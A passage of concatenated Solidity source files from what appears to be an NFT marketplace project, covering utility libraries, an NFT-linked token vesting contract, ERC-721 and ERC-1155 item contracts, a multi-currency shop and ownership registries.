function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Library for managing an enumerable variant of Solidity's
* https://solidity.readthedocs.io/en/latest/types.html#mapping-types[`mapping`]
* type.
*
* Maps have the following properties:
*
* - Entries are added, removed, and checked for existence in constant time
* (O(1)).
* - Entries are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableMap for EnumerableMap.UintToAddressMap;
*
* // Declare a set state variable
* EnumerableMap.UintToAddressMap private myMap;
* }
* ```
*
* As of v3.0.0, only maps of type `uint256 -> address` (`UintToAddressMap`) are
* supported.
*/
library EnumerableMap {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Map type with
// bytes32 keys and values.
// The Map implementation uses private functions, and user-facing
// implementations (such as Uint256ToAddressMap) are just wrappers around
// the underlying Map.
// This means that we can only create new EnumerableMaps for types that fit
// in bytes32.
struct MapEntry {
bytes32 _key;
bytes32 _value;
}
struct Map {
// Storage of map keys and values
MapEntry[] _entries;
// Position of the entry defined by a key in the `entries` array, plus 1
// because index 0 means a key is not in the map.
mapping (bytes32 => uint256) _indexes;
}
/**
* @dev Adds a key-value pair to a map, or updates the value for an existing
* key. O(1).
*
* Returns true if the key was added to the map, that is if it was not
* already present.
*/
function _set(Map storage map, bytes32 key, bytes32 value) private returns (bool) {
// We read and store the key's index to prevent multiple reads from the same storage slot
uint256 keyIndex = map._indexes[key];
if (keyIndex == 0) { // Equivalent to !contains(map, key)
map._entries.push(MapEntry({ _key: key, _value: value }));
// The entry is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
map._indexes[key] = map._entries.length;
return true;
} else {
map._entries[keyIndex - 1]._value = value;
return false;
}
}
/**
* @dev Removes a key-value pair from a map. O(1).
*
* Returns true if the key was removed from the map, that is if it was present.
*/
function _remove(Map storage map, bytes32 key) private returns (bool) {
// We read and store the key's index to prevent multiple reads from the same storage slot
uint256 keyIndex = map._indexes[key];
if (keyIndex != 0) { // Equivalent to contains(map, key)
// To delete a key-value pair from the _entries array in O(1), we swap the entry to delete with the last one
// in the array, and then remove the last entry (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = keyIndex - 1;
uint256 lastIndex = map._entries.length - 1;
// When the entry to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
MapEntry storage lastEntry = map._entries[lastIndex];
// Move the last entry to the index where the entry to delete is
map._entries[toDeleteIndex] = lastEntry;
// Update the index for the moved entry
map._indexes[lastEntry._key] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved entry was stored
map._entries.pop();
// Delete the index for the deleted slot
delete map._indexes[key];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the key is in the map. O(1).
*/
function _contains(Map storage map, bytes32 key) private view returns (bool) {
return map._indexes[key] != 0;
}
/**
* @dev Returns the number of key-value pairs in the map. O(1).
*/
function _length(Map storage map) private view returns (uint256) {
return map._entries.length;
}
/**
* @dev Returns the key-value pair stored at position `index` in the map. O(1).
*
* Note that there are no guarantees on the ordering of entries inside the
* array, and it may change when more entries are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Map storage map, uint256 index) private view returns (bytes32, bytes32) {
require(map._entries.length > index, "EnumerableMap: index out of bounds");
MapEntry storage entry = map._entries[index];
return (entry._key, entry._value);
}
/**
* @dev Tries to returns the value associated with `key`. O(1).
* Does not revert if `key` is not in the map.
*/
function _tryGet(Map storage map, bytes32 key) private view returns (bool, bytes32) {
uint256 keyIndex = map._indexes[key];
if (keyIndex == 0) return (false, 0); // Equivalent to contains(map, key)
return (true, map._entries[keyIndex - 1]._value); // All indexes are 1-based
}
/**
* @dev Returns the value associated with `key`. O(1).
*
* Requirements:
*
* - `key` must be in the map.
*/
function _get(Map storage map, bytes32 key) private view returns (bytes32) {
uint256 keyIndex = map._indexes[key];
require(keyIndex != 0, "EnumerableMap: nonexistent key"); // Equivalent to contains(map, key)
return map._entries[keyIndex - 1]._value; // All indexes are 1-based
}
/**
* @dev Same as {_get}, with a custom error message when `key` is not in the map.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {_tryGet}.
*/
function _get(Map storage map, bytes32 key, string memory errorMessage) private view returns (bytes32) {
uint256 keyIndex = map._indexes[key];
require(keyIndex != 0, errorMessage); // Equivalent to contains(map, key)
return map._entries[keyIndex - 1]._value; // All indexes are 1-based
}
// UintToAddressMap
struct UintToAddressMap {
Map _inner;
}
/**
* @dev Adds a key-value pair to a map, or updates the value for an existing
* key. O(1).
*
* Returns true if the key was added to the map, that is if it was not
* already present.
*/
function set(UintToAddressMap storage map, uint256 key, address value) internal returns (bool) {
return _set(map._inner, bytes32(key), bytes32(uint256(uint160(value))));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the key was removed from the map, that is if it was present.
*/
function remove(UintToAddressMap storage map, uint256 key) internal returns (bool) {
return _remove(map._inner, bytes32(key));
}
/**
* @dev Returns true if the key is in the map. O(1).
*/
function contains(UintToAddressMap storage map, uint256 key) internal view returns (bool) {
return _contains(map._inner, bytes32(key));
}
/**
* @dev Returns the number of elements in the map. O(1).
*/
function length(UintToAddressMap storage map) internal view returns (uint256) {
return _length(map._inner);
}
/**
* @dev Returns the element stored at position `index` in the set. O(1).
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintToAddressMap storage map, uint256 index) internal view returns (uint256, address) {
(bytes32 key, bytes32 value) = _at(map._inner, index);
return (uint256(key), address(uint160(uint256(value))));
}
/**
* @dev Tries to returns the value associated with `key`. O(1).
* Does not revert if `key` is not in the map.
*
* _Available since v3.4._
*/
function tryGet(UintToAddressMap storage map, uint256 key) internal view returns (bool, address) {
(bool success, bytes32 value) = _tryGet(map._inner, bytes32(key));
return (success, address(uint160(uint256(value))));
}
/**
* @dev Returns the value associated with `key`. O(1).
*
* Requirements:
*
* - `key` must be in the map.
*/
function get(UintToAddressMap storage map, uint256 key) internal view returns (address) {
return address(uint160(uint256(_get(map._inner, bytes32(key)))));
}
/**
* @dev Same as {get}, with a custom error message when `key` is not in the map.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryGet}.
*/
function get(UintToAddressMap storage map, uint256 key, string memory errorMessage) internal view returns (address) {
return address(uint160(uint256(_get(map._inner, bytes32(key), errorMessage))));
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev String operations.
*/
library Strings {
/**
* @dev Converts a `uint256` to its ASCII `string` representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
uint256 index = digits - 1;
temp = value;
while (temp != 0) {
buffer[index--] = bytes1(uint8(48 + temp % 10));
temp /= 10;
}
return string(buffer);
}
}
// SPDX-License-Identifier: GPL-3.0
pragma solidity 0.6.12;
pragma experimental ABIEncoderV2;
// TRUFFLE
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts/utils/Address.sol";
contract SuperNFTVestCliff {
using SafeMath for uint256;
using Address for address;
address public tokenAddress;
address public nftAddress;
event Claimed(
address owner,
uint256 nftId,
address beneficiary,
uint256 amount,
uint256 index
);
event ClaimCreated(
address owner,
uint256 nftId,
uint256 totalAmount,
uint256 index
);
struct Claim {
address owner;
uint256 nftId;
uint256[] timePeriods;
uint256[] tokenAmounts;
uint256 totalAmount;
uint256 amountClaimed;
uint256 periodsClaimed;
}
Claim[] private claims;
mapping(address => uint256[]) private _ownerClaims;
mapping(uint256 => uint256[]) private _nftClaims;
constructor(address _tokenAddress, address _nftAddress) public {
require(
_tokenAddress.isContract(),
"_tokenAddress must be a contract address"
);
require(
_nftAddress.isContract(),
"_nftAddress must be a contract address"
);
tokenAddress = _tokenAddress;
nftAddress = _nftAddress;
}
/**
* Get Owner Claims
*
* @param owner - Claim Owner Address
*/
function ownerClaims(address owner)
external
view
returns (uint256[] memory)
{
require(owner != address(0), "Owner address cannot be 0");
return _ownerClaims[owner];
}
/**
* Get NFT Claims
*
* @param nftId - NFT ID
*/
function nftClaims(uint256 nftId) external view returns (uint256[] memory) {
require(nftId != 0, "nftId cannot be 0");
return _nftClaims[nftId];
}
/**
* Get Amount Claimed
*
* @param index - Claim Index
*/
function claimed(uint256 index) external view returns (uint256) {
return claims[index].amountClaimed;
}
/**
* Get Total Claim Amount
*
* @param index - Claim Index
*/
function totalAmount(uint256 index) external view returns (uint256) {
return claims[index].totalAmount;
}
/**
* Get Time Periods of Claim
*
* @param index - Claim Index
*/
function timePeriods(uint256 index)
external
view
returns (uint256[] memory)
{
return claims[index].timePeriods;
}
/**
* Get Token Amounts of Claim
*
* @param index - Claim Index
*/
function tokenAmounts(uint256 index)
external
view
returns (uint256[] memory)
{
return claims[index].tokenAmounts;
}
/**
* Create a Claim - To Vest Tokens to NFT
*
* @param _nftId - Tokens will be claimed by owner of _nftId
* @param _timePeriods - uint256 Array of Epochs
* @param _tokenAmounts - uin256 Array of Amounts to transfer at each time period
*/
function createClaim(
uint256 _nftId,
uint256[] memory _timePeriods,
uint256[] memory _tokenAmounts
) public returns (bool) {
require(_nftId != 0, "Cannot Vest to NFT 0");
require(
_timePeriods.length == _tokenAmounts.length,
"_timePeriods & _tokenAmounts length mismatch"
);
// Calculate total amount
uint256 _totalAmount = 0;
for (uint256 i = 0; i < _tokenAmounts.length; i++) {
_totalAmount = _totalAmount.add(_tokenAmounts[i]);
}
require(_totalAmount > 0, "Provide Token Amounts to Vest");
require(
ERC20(tokenAddress).allowance(msg.sender, address(this)) >=
_totalAmount,
"Provide token allowance to SuperStreamClaim contract"
);
// Transfer Tokens to SuperStreamClaim
ERC20(tokenAddress).transferFrom(
msg.sender,
address(this),
_totalAmount
);
// Create Claim
Claim memory claim =
Claim({
owner: msg.sender,
nftId: _nftId,
timePeriods: _timePeriods,
tokenAmounts: _tokenAmounts,
totalAmount: _totalAmount,
amountClaimed: 0,
periodsClaimed: 0
});
claims.push(claim);
uint256 index = claims.length.sub(1);
// Map Claim Index to Owner & Beneficiary
_ownerClaims[msg.sender].push(index);
_nftClaims[_nftId].push(index);
emit ClaimCreated(msg.sender, _nftId, _totalAmount, index);
return true;
}
/**
* Claim Tokens
*
* @param index - Index of the Claim
*/
function claim(uint256 index) external {
Claim storage claim = claims[index];
// Check if msg.sender is the owner of the NFT
require(
msg.sender == ERC721(nftAddress).ownerOf(claim.nftId),
"msg.sender must own the NFT"
);
// Check if anything is left to release
require(
claim.periodsClaimed < claim.timePeriods.length,
"Nothing to release"
);
// Calculate releasable amount
uint256 amount = 0;
for (
uint256 i = claim.periodsClaimed;
i < claim.timePeriods.length;
i++
) {
if (claim.timePeriods[i] <= block.timestamp) {
amount = amount.add(claim.tokenAmounts[i]);
claim.periodsClaimed = claim.periodsClaimed.add(1);
} else {
break;
}
}
// If there is any amount to release
require(amount > 0, "Nothing to release");
// Transfer Tokens from Owner to Beneficiary
ERC20(tokenAddress).transfer(msg.sender, amount);
claim.amountClaimed = claim.amountClaimed.add(amount);
emit Claimed(claim.owner, claim.nftId, msg.sender, amount, index);
}
/**
* Get Amount of tokens that can be claimed
*
* @param index - Index of the Claim
*/
function claimableAmount(uint256 index) public view returns (uint256) {
Claim storage claim = claims[index];
// Calculate Claimable Amount
uint256 amount = 0;
for (
uint256 i = claim.periodsClaimed;
i < claim.timePeriods.length;
i++
) {
if (claim.timePeriods[i] <= block.timestamp) {
amount = amount.add(claim.tokenAmounts[i]);
} else {
break;
}
}
return amount;
}
}
pragma solidity ^0.6.2;
// REMIX
// import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/release-v3.4/contracts/token/ERC721/ERC721.sol";
// import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/release-v3.4/contracts/token/ERC20/ERC20.sol";
// import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/release-v3.4/contracts/utils/Counters.sol";
// import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/release-v3.4/contracts/utils/EnumerableSet.sol";
// import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/release-v3.4/contracts/math/SafeMath.sol";
// import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/release-v3.4/contracts/utils/Address.sol";
// TRUFFLE
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
import "@openzeppelin/contracts/utils/EnumerableSet.sol";
import "@openzeppelin/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts/utils/Address.sol";
// SuperNFT SMART CONTRACT
contract SuperNFT is ERC721 {
using EnumerableSet for EnumerableSet.UintSet;
using Counters for Counters.Counter;
Counters.Counter private _tokenIds;
mapping(string => uint8) hashes;
/**
* Mint + Issue NFT
*
* @param recipient - NFT will be issued to recipient
* @param hash - Artwork IPFS hash
* @param data - Artwork URI/Data
*/
function issueToken(
address recipient,
string memory hash,
string memory data
) public returns (uint256) {
require(hashes[hash] != 1);
hashes[hash] = 1;
_tokenIds.increment();
uint256 newTokenId = _tokenIds.current();
_mint(recipient, newTokenId);
_setTokenURI(newTokenId, data);
return newTokenId;
}
constructor() public ERC721("SUPER NFT", "SNFT") {}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "../math/SafeMath.sol";
/**
* @title Counters
* @author Matt Condon (@shrugs)
* @dev Provides counters that can only be incremented or decremented by one. This can be used e.g. to track the number
* of elements in a mapping, issuing ERC721 ids, or counting request ids.
*
* Include with `using Counters for Counters.Counter;`
* Since it is not possible to overflow a 256 bit integer with increments of one, `increment` can skip the {SafeMath}
* overflow check, thereby saving gas. This does assume however correct usage, in that the underlying `_value` is never
* directly accessed.
*/
library Counters {
using SafeMath for uint256;
struct Counter {
// This variable should never be directly accessed by users of the library: interactions must be restricted to
// the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add
// this feature: see https://github.com/ethereum/solidity/issues/4637
uint256 _value; // default: 0
}
function current(Counter storage counter) internal view returns (uint256) {
return counter._value;
}
function increment(Counter storage counter) internal {
// The {SafeMath} overflow check can be skipped here, see the comment at the top
counter._value += 1;
}
function decrement(Counter storage counter) internal {
counter._value = counter._value.sub(1);
}
}
// SPDX-License-Identifier: GPL-3.0
pragma solidity 0.6.12;
pragma experimental ABIEncoderV2;
import "@openzeppelin/contracts/token/ERC1155/ERC1155.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/math/SafeMath.sol";
import "./FeeOwner.sol";
/**
@title An OpenSea delegate proxy contract which we include for whitelisting.
@author OpenSea
*/
contract OwnableDelegateProxy { }
/**
@title An OpenSea proxy registry contract which we include for whitelisting.
@author OpenSea
*/
contract ProxyRegistry {
mapping(address => OwnableDelegateProxy) public proxies;
}
/**
@title An ERC-1155 item creation contract which specifies an associated
FeeOwner who receives royalties from sales of created items.
@author Tim Clancy
The fee set by the FeeOwner on this Item is honored by Shop contracts.
In addition to the inherited OpenZeppelin dependency, this uses ideas from
the original ERC-1155 reference implementation.
*/
contract Fee1155NFT is ERC1155, Ownable {
using SafeMath for uint256;
/// A version number for this fee-bearing 1155 item contract's interface.
uint256 public version = 1;
/// The ERC-1155 URI for looking up item metadata using {id} substitution.
string public metadataUri;
/// A user-specified FeeOwner to receive a portion of item sale earnings.
FeeOwner public feeOwner;
/// Specifically whitelist an OpenSea proxy registry address.
address public proxyRegistryAddress;
/// A counter to enforce unique IDs for each item group minted.
uint256 public nextItemGroupId;
/// This mapping tracks the number of unique items within each item group.
mapping (uint256 => uint256) public itemGroupSizes;
/// An event for tracking the creation of an item group.
event ItemGroupCreated(uint256 itemGroupId, uint256 itemGroupSize,
address indexed creator);
/**
Construct a new ERC-1155 item with an associated FeeOwner fee.
@param _uri The metadata URI to perform token ID substitution in.
@param _feeOwner The address of a FeeOwner who receives earnings from this
item.
*/
constructor(string memory _uri, FeeOwner _feeOwner, address _proxyRegistryAddress) public ERC1155(_uri) {
metadataUri = _uri;
feeOwner = _feeOwner;
proxyRegistryAddress = _proxyRegistryAddress;
nextItemGroupId = 0;
}
/**
An override to whitelist the OpenSea proxy contract to enable gas-free
listings. This function returns true if `_operator` is approved to transfer
items owned by `_owner`.
@param _owner The owner of items to check for transfer ability.
@param _operator The potential transferrer of `_owner`'s items.
*/
function isApprovedForAll(address _owner, address _operator) public view override returns (bool isOperator) {
ProxyRegistry proxyRegistry = ProxyRegistry(proxyRegistryAddress);
if (address(proxyRegistry.proxies(_owner)) == _operator) {
return true;
}
return ERC1155.isApprovedForAll(_owner, _operator);
}
/**
Allow the item owner to update the metadata URI of this collection.
@param _uri The new URI to update to.
*/
function setURI(string calldata _uri) external onlyOwner {
metadataUri = _uri;
}
/**
Create a new NFT item group of a specific size. NFTs within a group share a
group ID in the upper 128-bits of their full item ID. Within a group NFTs
can be distinguished for the purposes of serializing issue numbers.
@param recipient The address to receive all NFTs within the newly-created group.
@param groupSize The number of individual NFTs to create within the group.
@param data Any associated data to use on items minted in this transaction.
*/
function createNFT(address recipient, uint256 groupSize, bytes calldata data) external onlyOwner returns (uint256) {
require(groupSize > 0,
"You cannot create an empty item group.");
// Create an item group of requested size using the next available ID.
uint256 shiftedGroupId = nextItemGroupId << 128;
itemGroupSizes[shiftedGroupId] = groupSize;
// Record the supply cap of each item being created in the group.
uint256[] memory itemIds = new uint256[](groupSize);
uint256[] memory amounts = new uint256[](groupSize);
for (uint256 i = 1; i <= groupSize; i++) {
itemIds[i - 1] = shiftedGroupId.add(i);
amounts[i - 1] = 1;
}
// Mint the entire batch of items.
_mintBatch(recipient, itemIds, amounts, data);
// Increment our next item group ID and return our created item group ID.
nextItemGroupId = nextItemGroupId.add(1);
emit ItemGroupCreated(shiftedGroupId, groupSize, msg.sender);
return shiftedGroupId;
}
}
// SPDX-License-Identifier: GPL-3.0
pragma solidity 0.6.12;
pragma experimental ABIEncoderV2;
import "@openzeppelin/contracts/token/ERC1155/ERC1155Holder.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/ReentrancyGuard.sol";
import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
import "@openzeppelin/contracts/math/SafeMath.sol";
import "./FeeOwner.sol";
import "./Fee1155.sol";
import "./Staker.sol";
/**
@title A simple Shop contract for selling ERC-1155s for points, Ether, or
ERC-20 tokens.
@author Tim Clancy
This contract allows its owner to list NFT items for sale. NFT items are
purchased by users using points spent on a corresponding Staker contract.
The Shop must be approved by the owner of the Staker contract.
*/
contract Shop1155 is ERC1155Holder, Ownable, ReentrancyGuard {
using SafeMath for uint256;
using SafeERC20 for IERC20;
/// A version number for this Shop contract's interface.
uint256 public version = 1;
/// A user-specified, descriptive name for this Shop.
string public name;
/// A user-specified FeeOwner to receive a portion of Shop earnings.
FeeOwner public feeOwner;
/// A user-specified Staker contract to spend user points on.
Staker[] public stakers;
/**
This struct tracks information about a single asset with associated price
that an item is being sold in the shop for.
@param assetType A sentinel value for the specific type of asset being used.
0 = non-transferrable points from a Staker; see `asset`.
1 = Ether.
2 = an ERC-20 token, see `asset`.
@param asset Some more specific information about the asset to charge in.
If the `assetType` is 0, we convert the given address to an
integer index for finding a specific Staker from `stakers`.
If the `assetType` is 1, we ignore this field.
If the `assetType` is 2, we use this address to find the ERC-20
token that we should be specifically charging with.
@param price The amount of the specified `assetType` and `asset` to charge.
*/
struct PricePair {
uint256 assetType;
address asset;
uint256 price;
}
/**
This struct tracks information about each item of inventory in the Shop.
@param token The address of a Fee1155 collection contract containing the
item we want to sell.
@param id The specific ID of the item within the Fee1155 from `token`.
@param amount The amount of this specific item on sale in the Shop.
*/
struct ShopItem {
Fee1155 token;
uint256 id;
uint256 amount;
}
// The Shop's inventory of items for sale.
uint256 nextItemId;
mapping (uint256 => ShopItem) public inventory;
mapping (uint256 => uint256) public pricePairLengths;
mapping (uint256 => mapping (uint256 => PricePair)) public prices;
/**
Construct a new Shop by providing it a name, FeeOwner, optional Stakers. Any
attached Staker contracts must also approve this Shop to spend points.
@param _name The name of the Shop contract.
@param _feeOwner The address of the FeeOwner due a portion of Shop earnings.
@param _stakers The addresses of any Stakers to permit spending points from.
*/
constructor(string memory _name, FeeOwner _feeOwner, Staker[] memory _stakers) public {
name = _name;
feeOwner = _feeOwner;
stakers = _stakers;
nextItemId = 0;
}
/**
Returns the length of the Staker array.
@return the length of the Staker array.
*/
function getStakerCount() external view returns (uint256) {
return stakers.length;
}
/**
Returns the number of items in the Shop's inventory.
@return the number of items in the Shop's inventory.
*/
function getInventoryCount() external view returns (uint256) {
return nextItemId;
}
/**
Allows the Shop owner to add newly-supported Stakers for point spending.
@param _stakers The array of new Stakers to add.
*/
function addStakers(Staker[] memory _stakers) external onlyOwner {
for (uint256 i = 0; i < _stakers.length; i++) {
stakers.push(_stakers[i]);
}
}
/**
Allows the Shop owner to list a new set of NFT items for sale.
@param _pricePairs The asset address to price pairings to use for selling
each item.
@param _items The array of Fee1155 item contracts to sell from.
@param _ids The specific Fee1155 item IDs to sell.
@param _amounts The amount of inventory being listed for each item.
*/
function listItems(PricePair[] memory _pricePairs, Fee1155[] calldata _items, uint256[][] calldata _ids, uint256[][] calldata _amounts) external nonReentrant onlyOwner {
require(_items.length > 0,
"You must list at least one item.");
require(_items.length == _ids.length,
"Items length cannot be mismatched with IDs length.");
require(_items.length == _amounts.length,
"Items length cannot be mismatched with amounts length.");
// Iterate through every specified Fee1155 contract to list items.
for (uint256 i = 0; i < _items.length; i++) {
Fee1155 item = _items[i];
uint256[] memory ids = _ids[i];
uint256[] memory amounts = _amounts[i];
require(ids.length > 0,
"You must specify at least one item ID.");
require(ids.length == amounts.length,
"Item IDs length cannot be mismatched with amounts length.");
// For each Fee1155 contract, add the requested item IDs to the Shop.
for (uint256 j = 0; j < ids.length; j++) {
uint256 id = ids[j];
uint256 amount = amounts[j];
require(amount > 0,
"You cannot list an item with no starting amount.");
inventory[nextItemId + j] = ShopItem({
token: item,
id: id,
amount: amount
});
for (uint k = 0; k < _pricePairs.length; k++) {
prices[nextItemId + j][k] = _pricePairs[k];
}
pricePairLengths[nextItemId + j] = _pricePairs.length;
}
nextItemId = nextItemId.add(ids.length);
// Batch transfer the listed items to the Shop contract.
item.safeBatchTransferFrom(msg.sender, address(this), ids, amounts, "");
}
}
/**
Allows the Shop owner to remove items.
@param _itemId The id of the specific inventory item of this shop to remove.
@param _amount The amount of the specified item to remove.
*/
function removeItem(uint256 _itemId, uint256 _amount) external nonReentrant onlyOwner {
ShopItem storage item = inventory[_itemId];
require(item.amount >= _amount && item.amount != 0,
"There is not enough of your desired item to remove.");
inventory[_itemId].amount = inventory[_itemId].amount.sub(_amount);
item.token.safeTransferFrom(address(this), msg.sender, item.id, _amount, "");
}
/**
Allows the Shop owner to adjust the prices of an NFT item set.
@param _itemId The id of the specific inventory item of this shop to adjust.
@param _pricePairs The asset-price pairs at which to sell a single instance of the item.
*/
function changeItemPrice(uint256 _itemId, PricePair[] memory _pricePairs) external onlyOwner {
for (uint i = 0; i < _pricePairs.length; i++) {
prices[_itemId][i] = _pricePairs[i];
}
pricePairLengths[_itemId] = _pricePairs.length;
}
/**
Allows any user to purchase an item from this Shop provided they have enough
of the asset being used to purchase with.
@param _itemId The ID of the specific inventory item of this shop to buy.
@param _amount The amount of the specified item to purchase.
@param _assetId The index of the asset from the item's asset-price pairs to
attempt this purchase using.
*/
function purchaseItem(uint256 _itemId, uint256 _amount, uint256 _assetId) external nonReentrant payable {
ShopItem storage item = inventory[_itemId];
require(item.amount >= _amount && item.amount != 0,
"There is not enough of your desired item in stock to purchase.");
require(_assetId < pricePairLengths[_itemId],
"Your specified asset ID is not valid.");
PricePair memory sellingPair = prices[_itemId][_assetId];
// If the sentinel value for the point asset type is found, sell for points.
// This involves converting the asset from an address to a Staker index.
if (sellingPair.assetType == 0) {
uint256 stakerIndex = uint256(sellingPair.asset);
stakers[stakerIndex].spendPoints(msg.sender, sellingPair.price.mul(_amount));
inventory[_itemId].amount = inventory[_itemId].amount.sub(_amount);
item.token.safeTransferFrom(address(this), msg.sender, item.id, _amount, "");
// If the sentinel value for the Ether asset type is found, sell for Ether.
} else if (sellingPair.assetType == 1) {
uint256 etherPrice = sellingPair.price.mul(_amount);
require(msg.value >= etherPrice,
"You did not send enough Ether to complete this purchase.");
uint256 feePercent = feeOwner.fee();
uint256 feeValue = msg.value.mul(feePercent).div(100000);
uint256 itemRoyaltyPercent = item.token.feeOwner().fee();
uint256 royaltyValue = msg.value.mul(itemRoyaltyPercent).div(100000);
(bool success, ) = payable(feeOwner.owner()).call{ value: feeValue }("");
require(success, "Platform fee transfer failed.");
(success, ) = payable(item.token.feeOwner().owner()).call{ value: royaltyValue }("");
require(success, "Creator royalty transfer failed.");
(success, ) = payable(owner()).call{ value: msg.value.sub(feeValue).sub(royaltyValue) }("");
require(success, "Shop owner transfer failed.");
inventory[_itemId].amount = inventory[_itemId].amount.sub(_amount);
item.token.safeTransferFrom(address(this), msg.sender, item.id, _amount, "");
// Otherwise, attempt to sell for an ERC20 token.
} else {
IERC20 sellingAsset = IERC20(sellingPair.asset);
uint256 tokenPrice = sellingPair.price.mul(_amount);
require(sellingAsset.balanceOf(msg.sender) >= tokenPrice,
"You do not have enough token to complete this purchase.");
uint256 feePercent = feeOwner.fee();
uint256 feeValue = tokenPrice.mul(feePercent).div(100000);
uint256 itemRoyaltyPercent = item.token.feeOwner().fee();
uint256 royaltyValue = tokenPrice.mul(itemRoyaltyPercent).div(100000);
sellingAsset.safeTransferFrom(msg.sender, feeOwner.owner(), feeValue);
sellingAsset.safeTransferFrom(msg.sender, item.token.feeOwner().owner(), royaltyValue);
sellingAsset.safeTransferFrom(msg.sender, owner(), tokenPrice.sub(feeValue).sub(royaltyValue));
inventory[_itemId].amount = inventory[_itemId].amount.sub(_amount);
item.token.safeTransferFrom(address(this), msg.sender, item.id, _amount, "");
}
}
}
// SPDX-License-Identifier: GPL-3.0
pragma solidity 0.6.12;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/ReentrancyGuard.sol";
import "./FeeOwner.sol";
import "./Shop1155.sol";
/**
@title A basic smart contract for tracking the ownership of SuperFarm Shops.
@author Tim Clancy
This is the governing registry of all SuperFarm Shop assets.
*/
contract FarmShopRecords is Ownable, ReentrancyGuard {
/// A version number for this record contract's interface.
uint256 public version = 1;
/// The current platform fee owner to force when creating Shops.
FeeOwner public platformFeeOwner;
/// A mapping for an array of all Shop1155s deployed by a particular address.
mapping (address => address[]) public shopRecords;
/// An event for tracking the creation of a new Shop.
event ShopCreated(address indexed shopAddress, address indexed creator);
/**
Construct a new registry of SuperFarm records with a specified platform fee owner.
@param _feeOwner The address of the FeeOwner due a portion of all Shop earnings.
*/
constructor(FeeOwner _feeOwner) public {
platformFeeOwner = _feeOwner;
}
/**
Allows the registry owner to update the platform FeeOwner to use upon Shop creation.
@param _feeOwner The address of the FeeOwner to make the new platform fee owner.
*/
function changePlatformFeeOwner(FeeOwner _feeOwner) external onlyOwner {
platformFeeOwner = _feeOwner;
}
/**
Create a Shop1155 on behalf of the owner calling this function. The Shop
supports immediately registering attached Stakers if provided.
@param _name The name of the Shop to create.
@param _stakers An array of Stakers to attach to the new Shop.
*/
function createShop(string calldata _name, Staker[] calldata _stakers) external nonReentrant returns (Shop1155) {
Shop1155 newShop = new Shop1155(_name, platformFeeOwner, _stakers);
// Transfer ownership of the new Shop to the user then store a reference.
newShop.transferOwnership(msg.sender);
address shopAddress = address(newShop);
shopRecords[msg.sender].push(shopAddress);
emit ShopCreated(shopAddress, msg.sender);
return newShop;
}
/**
Get the number of entries in the Shop records mapping for the given user.
@return The number of Shops added for a given address.
*/
function getShopCount(address _user) external view returns (uint256) {
return shopRecords[_user].length;
}
}
// SPDX-License-Identifier: GPL-3.0
pragma solidity 0.6.12;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/ReentrancyGuard.sol";
import "./Token.sol";
/**
@title A basic smart contract for tracking the ownership of SuperFarm Tokens.
@author Tim Clancy
This is the governing registry of all SuperFarm Token assets.
*/
contract FarmTokenRecords is Ownable, ReentrancyGuard {
/// A version number for this record contract's interface.
uint256 public version = 1;
/// A mapping for an array of all Tokens deployed by a particular address.
mapping (address => address[]) public tokenRecords;
/// An event for tracking the creation of a new Token.
event TokenCreated(address indexed tokenAddress, address indexed creator);
/**
Create a Token on behalf of the owner calling this function. The Token
supports immediate minting at the time of creation to particular addresses.
@param _name The name of the Token to create.
@param _ticker The ticker symbol of the Token to create.
@param _cap The supply cap of the Token.
@param _directMintAddresses An array of addresses to mint directly to.
@param _directMintAmounts An array of Token amounts to mint to keyed addresses.
*/
function createToken(string calldata _name, string calldata _ticker, uint256 _cap, address[] calldata _directMintAddresses, uint256[] calldata _directMintAmounts) external nonReentrant returns (Token) {
